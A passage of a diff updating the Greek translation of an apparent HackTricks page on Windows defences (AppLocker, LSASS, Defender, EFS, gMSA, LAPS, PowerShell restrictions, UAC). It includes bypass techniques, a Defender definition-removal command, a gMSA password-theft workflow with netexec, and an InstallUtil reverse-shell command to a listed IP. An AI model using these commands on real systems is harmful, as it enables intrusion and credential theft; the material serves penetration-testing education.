οτιδήποτε μέσα στο `C:\Windows\System32` ή `C:\Windows`, υπάρχουν **εγγράψιμοι φάκελοι** που μπορείτε να χρησιμοποιήσετε για να **παρακάμψετε αυτό**. +- Χρήσιμα **Writable folders** για να παρακάμψετε την AppLocker Policy: Εάν το AppLocker επιτρέπει την εκτέλεση οτιδήποτε μέσα στο `C:\Windows\System32` ή στο `C:\Windows`, υπάρχουν **writable folders** που μπορείτε να χρησιμοποιήσετε για να **παρακάμψετε αυτό**. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- Συνήθως **έμπιστοι** [**"LOLBAS's"**](https://lolbas-project.github.io/) δυαδικοί κωδικοί μπορεί να είναι επίσης χρήσιμοι για να παρακάμψουν το AppLocker. -- **Κακώς γραμμένοι κανόνες θα μπορούσαν επίσης να παρακαμφθούν** -- Για παράδειγμα, **``**, μπορείτε να δημιουργήσετε έναν **φάκελο με όνομα `allowed`** οπουδήποτε και θα επιτραπεί. -- Οι οργανισμοί συχνά επικεντρώνονται στο **να μπλοκάρουν το `%System32%\WindowsPowerShell\v1.0\powershell.exe` εκτελέσιμο**, αλλά ξεχνούν τις **άλλες** [**τοποθεσίες εκτελέσιμων PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) όπως το `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ή το `PowerShell_ISE.exe`. -- **Η επιβολή DLL σπάνια είναι ενεργοποιημένη** λόγω του επιπλέον φορτίου που μπορεί να επιφέρει σε ένα σύστημα, και της ποσότητας δοκιμών που απαιτούνται για να διασφαλιστεί ότι τίποτα δεν θα σπάσει. Έτσι, η χρήση **DLLs ως πίσω πόρτες θα βοηθήσει στην παράκαμψη του AppLocker**. -- Μπορείτε να χρησιμοποιήσετε [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε κώδικα Powershell** σε οποιαδήποτε διαδικασία και να παρακάμψετε το AppLocker. Για περισσότερες πληροφορίες δείτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +- Συνήθως **αξιόπιστα** [**"LOLBAS's"**] binaries μπορούν επίσης να βοηθήσουν στην παράκαμψη του AppLocker. +- **Κακώς γραμμένοι κανόνες μπορούν επίσης να παρακαμφθούν** +- Για παράδειγμα, **``**, μπορείτε να δημιουργήσετε έναν **φάκελο ονόματι `allowed`** οπουδήποτε και θα επιτρέπεται. +- Οι οργανισμοί συχνά επικεντρώνονται στο **μπλοκάρισμα του εκτελέσιμου `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, αλλά ξεχνούν τις **άλλες** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) όπως `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ή `PowerShell_ISE.exe`. +- Η επιβολή DLL σπανίως ενεργοποιείται λόγω του πρόσθετου φόρτου που μπορεί να επιβάλει σε ένα σύστημα και του όγκου των δοκιμών που απαιτούνται για να διασφαλιστεί ότι τίποτα δεν θα σπάσει. Έτσι η χρήση **DLLs ως backdoors θα βοηθήσει στην παράκαμψη του AppLocker**. +- Μπορείτε να χρησιμοποιήσετε τους [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε Powershell** κώδικα σε οποιαδήποτε διεργασία και να παρακάμψετε το AppLocker. Για περισσότερες πληροφορίες δείτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). ## Αποθήκευση Διαπιστευτηρίων -### Διαχειριστής Λογαριασμών Ασφαλείας (SAM) +### Security Accounts Manager (SAM) -Τα τοπικά διαπιστευτήρια είναι παρόντα σε αυτό το αρχείο, οι κωδικοί πρόσβασης είναι κατακερματισμένοι. +Τα τοπικά διαπιστευτήρια υπάρχουν σε αυτό το αρχείο, οι κωδικοί πρόσβασης είναι κατακερματισμένοι. -### Τοπική Αρχή Ασφαλείας (LSA) - LSASS +### Local Security Authority (LSA) - LSASS -Τα **διαπιστευτήρια** (κατακερματισμένα) **αποθηκεύονται** στη **μνήμη** αυτού του υποσυστήματος για λόγους Ενιαίας Σύνδεσης.\ -Η **LSA** διαχειρίζεται την τοπική **πολιτική ασφαλείας** (πολιτική κωδικών πρόσβασης, δικαιώματα χρηστών...), **αυθεντικοποίηση**, **tokens πρόσβασης**...\ -Η LSA θα είναι αυτή που θα **ελέγξει** τα παρεχόμενα διαπιστευτήρια μέσα στο **αρχείο SAM** (για τοπική σύνδεση) και θα **μιλήσει** με τον **ελεγκτή τομέα** για να αυθεντικοποιήσει έναν χρήστη τομέα. +Τα **διαπιστευτήρια** (κατακερματισμένα) **αποθηκεύονται** στη **μνήμη** αυτού του υποσυστήματος για λόγους Single Sign-On.\ +Η **LSA** διαχειρίζεται την τοπική **πολιτική ασφαλείας** (πολιτική κωδικών, δικαιώματα χρηστών...), την **αυθεντικοποίηση**, τα **access tokens**...\ +Η LSA θα είναι αυτή που θα **ελέγξει** για παρεχόμενα διαπιστευτήρια μέσα στο αρχείο **SAM** (για τοπική είσοδο) και θα **επικοινωνήσει** με τον **domain controller** για να αυθεντικοποιήσει έναν domain χρήστη. -Τα **διαπιστευτήρια** είναι **αποθηκευμένα** μέσα στη **διαδικασία LSASS**: εισιτήρια Kerberos, κατακερματισμοί NT και LM, εύκολα αποκρυπτογραφημένοι κωδικοί πρόσβασης. +Τα **διαπιστευτήρια** **αποθηκεύονται** μέσα στη διαδικασία **LSASS**: Kerberos tickets, NT και LM hashes, εύκολα αποκρυπτογραφούμενοι κωδικοί πρόσβασης. -### Μυστικά LSA +### LSA secrets -Η LSA θα μπορούσε να αποθηκεύσει στο δίσκο κάποια διαπιστευτήρια: +Η LSA μπορεί να αποθηκεύσει στον δίσκο ορισμένα διαπιστευτήρια: -- Κωδικός πρόσβασης του λογαριασμού υπολογιστή του Active Directory (μη προσβάσιμος ελεγκτής τομέα). -- Κωδικοί πρόσβασης των λογαριασμών υπηρεσιών Windows -- Κωδικοί πρόσβασης για προγραμματισμένα καθήκοντα -- Περισσότερα (κωδικός πρόσβασης εφαρμογών IIS...) +- Κωδικός πρόσβασης του λογαριασμού υπολογιστή του Active Directory (όταν ο domain controller δεν είναι προσβάσιμος). +- Κωδικοί πρόσβασης λογαριασμών υπηρεσιών Windows +- Κωδικοί πρόσβασης για προγραμματισμένες εργασίες +- Περισσότερα (π.χ. κωδικός πρόσβασης εφαρμογών IIS...) ### NTDS.dit -Είναι η βάση δεδομένων του Active Directory. Είναι παρούσα μόνο σε Ελεγκτές Τομέα. +Είναι η βάση δεδομένων του Active Directory. Παρουσιάζεται μόνο σε Domain Controllers. ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) είναι ένα Antivirus που είναι διαθέσιμο σε Windows 10 και Windows 11, και σε εκδόσεις Windows Server. **Μπλοκάρει** κοινά εργαλεία pentesting όπως το **`WinPEAS`**. Ωστόσο, υπάρχουν τρόποι για να **παρακαμφθούν αυτές οι προστασίες**. +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) είναι ένα Antivirus που διατίθεται στα Windows 10 και Windows 11, και σε εκδόσεις του Windows Server. Αυτό **μπλοκάρει** κοινά pentesting εργαλεία όπως το **`WinPEAS`**. Ωστόσο, υπάρχουν τρόποι να **παρακαμφθούν αυτές οι προστασίες**. ### Έλεγχος @@ -101,69 +101,104 @@ sc query windefend #Delete all rules of Defender (useful for machines without internet access) "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All ``` -## Encrypted File System (EFS) +## Κρυπτογραφημένο Σύστημα Αρχείων (EFS) -EFS secures files through encryption, utilizing a **symmetric key** known as the **File Encryption Key (FEK)**. This key is encrypted with the user's **public key** and stored within the encrypted file's $EFS **alternative data stream**. When decryption is needed, the corresponding **private key** of the user's digital certificate is used to decrypt the FEK from the $EFS stream. More details can be found [here](https://en.wikipedia.org/wiki/Encrypting_File_System). +Το EFS προστατεύει αρχεία μέσω κρυπτογράφησης, χρησιμοποιώντας ένα **συμμετρικό κλειδί** γνωστό ως **File Encryption Key (FEK)**. Αυτό το κλειδί κρυπτογραφείται με το **δημόσιο κλειδί** του χρήστη και αποθηκεύεται στη $EFS **εναλλακτική ροή δεδομένων** του κρυπτογραφημένου αρχείου. Όταν χρειάζεται αποκρυπτογράφηση, το αντίστοιχο **ιδιωτικό κλειδί** του ψηφιακού πιστοποιητικού του χρήστη χρησιμοποιείται για να αποκρυπτογραφήσει το FEK από τη ροή $EFS. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [εδώ](https://en.wikipedia.org/wiki/Encrypting_File_System). -**Decryption scenarios without user initiation** include: +**Σενάρια αποκρυπτογράφησης χωρίς πρωτοβουλία χρήστη** περιλαμβάνουν: -- When files or folders are moved to a non-EFS file system, like [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), they are automatically decrypted. -- Encrypted files sent over the network via SMB/CIFS protocol are decrypted prior to transmission. +- Όταν αρχεία ή φάκελοι μετακινούνται σε μη-EFS σύστημα αρχείων, όπως [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), αποκρυπτογραφούνται αυτόματα. +- Κρυπτογραφημένα αρχεία που αποστέλλονται μέσω δικτύου με το πρωτόκολλο SMB/CIFS αποκρυπτογραφούνται πριν την αποστολή. -This encryption method allows **transparent access** to encrypted files for the owner. However, simply changing the owner's password and logging in will not permit decryption. +Αυτή η μέθοδος κρυπτογράφησης επιτρέπει **διαφανή πρόσβαση** στα κρυπτογραφημένα αρχεία για τον κάτοχο. Ωστόσο, το απλό άλλαγμα του κωδικού του κατόχου και η σύνδεση δεν επιτρέπουν την αποκρυπτογράφηση. -**Key Takeaways**: +Κύρια σημεία: -- EFS uses a symmetric FEK, encrypted with the user's public key. -- Decryption employs the user's private key to access the FEK. -- Automatic decryption occurs under specific conditions, like copying to FAT32 or network transmission. -- Encrypted files are accessible to the owner without additional steps. +- Το EFS χρησιμοποιεί ένα συμμετρικό FEK, κρυπτογραφημένο με το δημόσιο κλειδί του χρήστη. +- Η αποκρυπτογράφηση χρησιμοποιεί το ιδιωτικό κλειδί του χρήστη για να αποκτήσει πρόσβαση στο FEK. +- Η αυτόματη αποκρυπτογράφηση συμβαίνει υπό συγκεκριμένες συνθήκες, όπως η αντιγραφή σε FAT32 ή η μετάδοση μέσω δικτύου. +- Τα κρυπτογραφημένα αρχεία είναι προσβάσιμα από τον κάτοχο χωρίς επιπλέον ενέργειες. -### Check EFS info +### Έλεγχος πληροφοριών EFS -Check if a **user** has **used** this **service** checking if this path exists:`C:\users\\appdata\roaming\Microsoft\Protect` +Ελέγξτε αν ένας **χρήστης** έχει **χρησιμοποιήσει** αυτήν την **υπηρεσία** ελέγχοντας αν υπάρχει το μονοπάτι:`C:\users\\appdata\roaming\Microsoft\Protect` -Check **who** has **access** to the file using cipher /c \\ -You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files +Ελέγξτε **ποιος** έχει **πρόσβαση** στο αρχείο χρησιμοποιώντας cipher /c \\. Μπορείτε επίσης να χρησιμοποιήσετε `cipher /e` και `cipher /d` μέσα σε έναν φάκελο για να **κρυπτογραφήσετε** και να **αποκρυπτογραφήσετε** όλα τα αρχεία. -### Decrypting EFS files +### Αποκρυπτογράφηση αρχείων EFS -#### Being Authority System +#### Εκτέλεση ως Authority System -This way requires the **victim user** to be **running** a **process** inside the host. If that is the case, using a `meterpreter` sessions you can impersonate the token of the process of the user (`impersonate_token` from `incognito`). Or you could just `migrate` to process of the user. +Αυτή η μέθοδος απαιτεί ο **θιγόμενος χρήστης** να έχει **εκτελούμενη** μια **διαδικασία** στον κεντρικό υπολογιστή. Εάν συμβαίνει αυτό, χρησιμοποιώντας μια `meterpreter` συνεδρία μπορείτε να μιμηθείτε το token της διαδικασίας του χρήστη (`impersonate_token` από `incognito`). Εναλλακτικά, μπορείτε απλώς να `migrate` στη διαδικασία του χρήστη. -#### Knowing the users password +#### Γνωρίζοντας τον κωδικό του χρήστη {{#ref}} https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files {{#endref}} -## Group Managed Service Accounts (gMSA) +## Ομαδικοί Διαχειριζόμενοι Λογαριασμοί Υπηρεσίας (gMSA) -Microsoft developed **Group Managed Service Accounts (gMSA)** to simplify the management of service accounts in IT infrastructures. Unlike traditional service accounts that often have the "**Password never expire**" setting enabled, gMSAs offer a more secure and manageable solution: +Η Microsoft ανέπτυξε τους **Group Managed Service Accounts (gMSA)** για να απλοποιήσει τη διαχείριση των λογαριασμών υπηρεσιών σε υποδομές IT. Σε αντίθεση με τους παραδοσιακούς λογαριασμούς υπηρεσίας που συχνά έχουν ενεργοποιημένη τη ρύθμιση "**Password never expire**", τα gMSA προσφέρουν μια πιο ασφαλή και διαχειρίσιμη λύση: -- **Automatic Password Management**: gMSAs use a complex, 240-character password that automatically changes according to domain or computer policy. This process is handled by Microsoft's Key Distribution Service (KDC), eliminating the need for manual password updates. -- **Enhanced Security**: These accounts are immune to lockouts and cannot be used for interactive logins, enhancing their security. -- **Multiple Host Support**: gMSAs can be shared across multiple hosts, making them ideal for services running on multiple servers. -- **Scheduled Task Capability**: Unlike managed service accounts, gMSAs support running scheduled tasks. -- **Simplified SPN Management**: The system automatically updates the Service Principal Name (SPN) when there are changes to the computer's sAMaccount details or DNS name, simplifying SPN management. +- **Αυτόματη διαχείριση κωδικών**: Τα gMSA χρησιμοποιούν έναν σύνθετο, 240-χαρακτήρων κωδικό που αλλάζει αυτόματα σύμφωνα με την πολιτική του domain ή του υπολογιστή. Αυτή τη διαδικασία αναλαμβάνει η Key Distribution Service (KDC) της Microsoft, εξαλείφοντας την ανάγκη για χειροκίνητες ενημερώσεις κωδικών. +- **Ενισχυμένη ασφάλεια**: Αυτοί οι λογαριασμοί δεν υπόκεινται σε lockouts και δεν μπορούν να χρησιμοποιηθούν για interactive logins, ενισχύοντας την ασφάλειά τους. +- **Υποστήριξη πολλαπλών hosts**: Τα gMSA μπορούν να μοιραστούν σε πολλαπλούς hosts, καθιστώντας τα ιδανικά για υπηρεσίες που τρέχουν σε πολλαπλούς servers. +- **Δυνατότητα προγραμματισμένων εργασιών**: Σε αντίθεση με τους managed service accounts, τα gMSAs υποστηρίζουν την εκτέλεση προγραμματισμένων εργασιών. +- **Απλοποιημένη διαχείριση SPN**: Το σύστημα ενημερώνει αυτόματα το Service Principal Name (SPN) όταν υπάρχουν αλλαγές στις λεπτομέρειες sAMaccount του υπολογιστή ή στο DNS name, απλοποιώντας τη διαχείριση των SPN. -The passwords for gMSAs are stored in the LDAP property _**msDS-ManagedPassword**_ and are automatically reset every 30 days by Domain Controllers (DCs). This password, an encrypted data blob known as [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), can only be retrieved by authorized administrators and the servers on which the gMSAs are installed, ensuring a secure environment. To access this information, a secured connection such as LDAPS is required, or the connection must be authenticated with 'Sealing & Secure'. +Οι κωδικοί για τα gMSA αποθηκεύονται στην ιδιότητα LDAP _**msDS-ManagedPassword**_ και επαναρυθμίζονται αυτόματα κάθε 30 ημέρες από τους Domain Controllers (DCs). Αυτός ο κωδικός, ένα κρυπτογραφημένο blob δεδομένων γνωστό ως [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), μπορεί να ανακτηθεί μόνο από εξουσιοδοτημένους διαχειριστές και από τους servers στους οποίους έχουν εγκατασταθεί τα gMSAs, εξασφαλίζοντας ένα ασφαλές περιβάλλον. Για να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες απαιτείται μια ασφαλής σύνδεση όπως LDAPS, ή η σύνδεση πρέπει να είναι authenticated με 'Sealing & Secure'. ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) -You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** +Μπορείτε να διαβάσετε αυτόν τον κωδικό με [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** ``` /GMSAPasswordReader --AccountName jkohler ``` -[**Βρείτε περισσότερες πληροφορίες σε αυτή την ανάρτηση**](https://cube0x0.github.io/Relaying-for-gMSA/) +[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/) + +Επίσης, έλεγξε αυτή τη [web page](https://cube0x0.github.io/Relaying-for-gMSA/) σχετικά με το πώς να εκτελέσεις μια **NTLM relay attack** για να **read** το **password** του **gMSA**. + +### Κατάχρηση ACL chaining για να read το managed password του gMSA (GenericAll -> ReadGMSAPassword) + +Σε πολλά περιβάλλοντα, χρήστες με χαμηλά προνόμια μπορούν να pivot σε gMSA secrets χωρίς DC compromise εκμεταλλευόμενοι λανθασμένα διαμορφωμένα object ACLs: + +- Μια ομάδα που μπορείς να ελέγξεις (π.χ. μέσω GenericAll/GenericWrite) έχει παραχωρηθεί `ReadGMSAPassword` πάνω σε ένα gMSA. +- Προσθέτοντας τον εαυτό σου σε αυτή την ομάδα, κληρονομείς το δικαίωμα να read το `msDS-ManagedPassword` blob του gMSA μέσω LDAP και να εξάγεις usable NTLM credentials. + +Τυπική ροή εργασίας: + +1) Ανακάλυψε τη διαδρομή με BloodHound και σήμανε τους foothold principals σου ως Owned. Ψάξε για ακμές όπως: +- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA + +2) Πρόσθεσε τον εαυτό σου στην ενδιάμεση ομάδα που ελέγχεις (παράδειγμα με bloodyAD): +```bash +bloodyAD --host -d -u -p add groupMember +``` +3) Ανάγνωση του διαχειριζόμενου κωδικού gMSA μέσω LDAP και παραγωγή του NTLM hash. Το NetExec αυτοματοποιεί την εξαγωγή του `msDS-ManagedPassword` και τη μετατροπή σε NTLM: +```bash +# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically +netexec ldap -u -p --gmsa +# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f +``` +4) Πιστοποιηθείτε ως το gMSA χρησιμοποιώντας το NTLM hash (δεν απαιτείται plaintext). Αν ο λογαριασμός είναι στους Remote Management Users, το WinRM θα λειτουργήσει απευθείας: +```bash +# SMB / WinRM as the gMSA using the NT hash +netexec smb -u 'mgtsvc$' -H +netexec winrm -u 'mgtsvc$' -H +``` +Notes: +- Οι LDAP αναγνώσεις του `msDS-ManagedPassword` απαιτούν sealing (e.g., LDAPS/sign+seal). Τα εργαλεία το χειρίζονται αυτό αυτόματα. +- Οι gMSAs συχνά λαμβάνουν τοπικά δικαιώματα όπως WinRM· επαληθεύστε τη συμμετοχή σε ομάδες (e.g., Remote Management Users) για να σχεδιάσετε lateral movement. +- Αν χρειάζεστε μόνο το blob για να υπολογίσετε μόνοι σας το NTLM, δείτε τη δομή MSDS-MANAGEDPASSWORD_BLOB. + -Επίσης, ελέγξτε αυτή τη [σελίδα](https://cube0x0.github.io/Relaying-for-gMSA/) σχετικά με το πώς να εκτελέσετε μια **επίθεση NTLM relay** για να **διαβάσετε** τον **κωδικό πρόσβασης** του **gMSA**. ## LAPS -Η **Λύση Κωδικού Πρόσβασης Τοπικού Διαχειριστή (LAPS)**, διαθέσιμη για λήψη από [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), επιτρέπει τη διαχείριση των κωδικών πρόσβασης τοπικών διαχειριστών. Αυτοί οι κωδικοί πρόσβασης, οι οποίοι είναι **τυχαίοι**, μοναδικοί και **τακτικά αλλάζουν**, αποθηκεύονται κεντρικά στο Active Directory. Η πρόσβαση σε αυτούς τους κωδικούς πρόσβασης περιορίζεται μέσω ACLs σε εξουσιοδοτημένους χρήστες. Με επαρκείς άδειες, παρέχεται η δυνατότητα ανάγνωσης των κωδικών πρόσβασης τοπικών διαχειριστών. +Το **Local Administrator Password Solution (LAPS)**, διαθέσιμο για λήψη από [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), επιτρέπει τη διαχείριση των κωδικών του τοπικού Administrator. Αυτοί οι κωδικοί, οι οποίοι είναι **τυχαίοι**, μοναδικοί και **αλλάζουν τακτικά**, αποθηκεύονται κεντρικά στο Active Directory. Η πρόσβαση σε αυτούς τους κωδικούς περιορίζεται μέσω ACLs σε εξουσιοδοτημένους χρήστες. Εφόσον χορηγηθούν επαρκή δικαιώματα, παρέχεται η δυνατότητα ανάγνωσης των τοπικών κωδικών διαχειριστή. + {{#ref}} ../active-directory-methodology/laps.md @@ -171,34 +206,34 @@ You can read this password with [**GMSAPasswordReader**](https://github.com/rvaz ## PS Constrained Language Mode -Το PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **κλειδώνει πολλές από τις δυνατότητες** που απαιτούνται για τη χρήση του PowerShell αποτελεσματικά, όπως η μπλοκάρισμα COM αντικειμένων, η επιτρεπόμενη μόνο χρήση εγκεκριμένων τύπων .NET, ροές εργασίας βασισμένες σε XAML, κλάσεις PowerShell και άλλα. +Το PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **περιορίζει πολλές από τις δυνατότητες** που χρειάζονται για την αποτελεσματική χρήση του PowerShell, όπως το μπλοκάρισμα αντικειμένων COM, η επιτρεπόμενη χρήση μόνο εγκεκριμένων τύπων .NET, ροών εργασίας βασισμένων σε XAML, κλάσεων PowerShell, και άλλα. ### **Έλεγχος** ```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` -### Παράκαμψη +### Bypass ```bash #Easy bypass Powershell -version 2 ``` -Στα τρέχοντα Windows, αυτή η παράκαμψη δεν θα λειτουργήσει, αλλά μπορείτε να χρησιμοποιήσετε [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ -**Για να το μεταγλωττίσετε, μπορεί να χρειαστεί** **να** _**Προσθέσετε μια Αναφορά**_ -> _Περιήγηση_ -> _Περιήγηση_ -> προσθέστε `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` και **να αλλάξετε το έργο σε .Net4.5**. +Στα τρέχοντα Windows αυτό το Bypass δεν θα λειτουργήσει αλλά μπορείτε να χρησιμοποιήσετε[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ +**Για να το μεταγλωττίσετε ίσως χρειαστεί** **να** _**Προσθέσετε Αναφορά**_ -> _Περιήγηση_ ->_Περιήγηση_ -> add `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` and **change the project to .Net4.5**. -#### Άμεση παράκαμψη: +#### Άμεσο Bypass: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe ``` -#### Αντίστροφη θήκη: +#### Reverse shell: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -Μπορείτε να χρησιμοποιήσετε [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ή [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) για να **εκτελέσετε κώδικα Powershell** σε οποιαδήποτε διαδικασία και να παρακάμψετε τη περιορισμένη λειτουργία. Για περισσότερες πληροφορίες, ελέγξτε: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). ## PS Execution Policy -Από προεπιλογή είναι ρυθμισμένο σε **restricted.** Οι κύριοι τρόποι για να παρακάμψετε αυτή την πολιτική: +Κατά προεπιλογή είναι ρυθμισμένο σε **restricted.** Κύριοι τρόποι για να bypass αυτή την πολιτική: ```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -218,35 +253,42 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` -More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) +Περισσότερα μπορείτε να βρείτε [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) -## Security Support Provider Interface (SSPI) +## Διεπαφή παρόχου υπηρεσιών ασφαλείας (SSPI) -Είναι το API που μπορεί να χρησιμοποιηθεί για την αυθεντικοποίηση χρηστών. +Είναι το API που μπορεί να χρησιμοποιηθεί για την πιστοποίηση χρηστών. -Το SSPI θα είναι υπεύθυνο για την εύρεση του κατάλληλου πρωτοκόλλου για δύο μηχανές που θέλουν να επικοινωνήσουν. Η προτιμώμενη μέθοδος γι' αυτό είναι το Kerberos. Στη συνέχεια, το SSPI θα διαπραγματευτεί ποιο πρωτόκολλο αυθεντικοποίησης θα χρησιμοποιηθεί, αυτά τα πρωτόκολλα αυθεντικοποίησης ονομάζονται Security Support Provider (SSP), βρίσκονται μέσα σε κάθε μηχανή Windows με τη μορφή DLL και και οι δύο μηχανές πρέπει να υποστηρίζουν το ίδιο για να μπορέσουν να επικοινωνήσουν. +Το SSPI αναλαμβάνει να βρει το κατάλληλο πρωτόκολλο για δύο μηχανήματα που θέλουν να επικοινωνήσουν. Η προτιμώμενη μέθοδος για αυτό είναι το Kerberos. Στη συνέχεια το SSPI θα διαπραγματευτεί ποιο πρωτόκολλο αυθεντικοποίησης θα χρησιμοποιηθεί — αυτά τα πρωτόκολλα ονομάζονται Security Support Provider (SSP), υπάρχουν σε κάθε σύστημα Windows με τη μορφή DLL και και τα δύο μηχανήματα πρέπει να υποστηρίζουν το ίδιο για να μπορούν να επικοινωνήσουν. -### Main SSPs +### Κύρια SSPs - **Kerberos**: Το προτιμώμενο - %windir%\Windows\System32\kerberos.dll -- **NTLMv1** και **NTLMv2**: Λόγοι συμβατότητας +- **NTLMv1** and **NTLMv2**: Για λόγους συμβατότητας - %windir%\Windows\System32\msv1_0.dll -- **Digest**: Web servers και LDAP, κωδικός πρόσβασης με τη μορφή MD5 hash +- **Digest**: Διακομιστές web και LDAP, ο κωδικός σε μορφή MD5 hash - %windir%\Windows\System32\Wdigest.dll - **Schannel**: SSL και TLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate**: Χρησιμοποιείται για να διαπραγματευτεί το πρωτόκολλο που θα χρησιμοποιηθεί (Kerberos ή NTLM με το Kerberos να είναι το προεπιλεγμένο) +- **Negotiate**: Χρησιμοποιείται για να διαπραγματευτεί ποιο πρωτόκολλο θα χρησιμοποιηθεί (Kerberos ή NTLM, με προεπιλογή το Kerberos) - %windir%\Windows\System32\lsasrv.dll -#### The negotiation could offer several methods or only one. +#### Η διαπραγμάτευση μπορεί να προσφέρει πολλαπλές μεθόδους ή μόνο μία. ## UAC - User Account Control -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια δυνατότητα που ενεργοποιεί ένα **prompt συγκατάθεσης για ανυψωμένες δραστηριότητες**. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) είναι μια λειτουργία που εμφανίζει μια **προτροπή συγκατάθεσης για ενέργειες με αυξημένα δικαιώματα**. + {{#ref}} uac-user-account-control.md {{#endref}} +## Αναφορές + +- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/) +- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) +- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) + {{#include ../../banners/hacktricks-training.md}}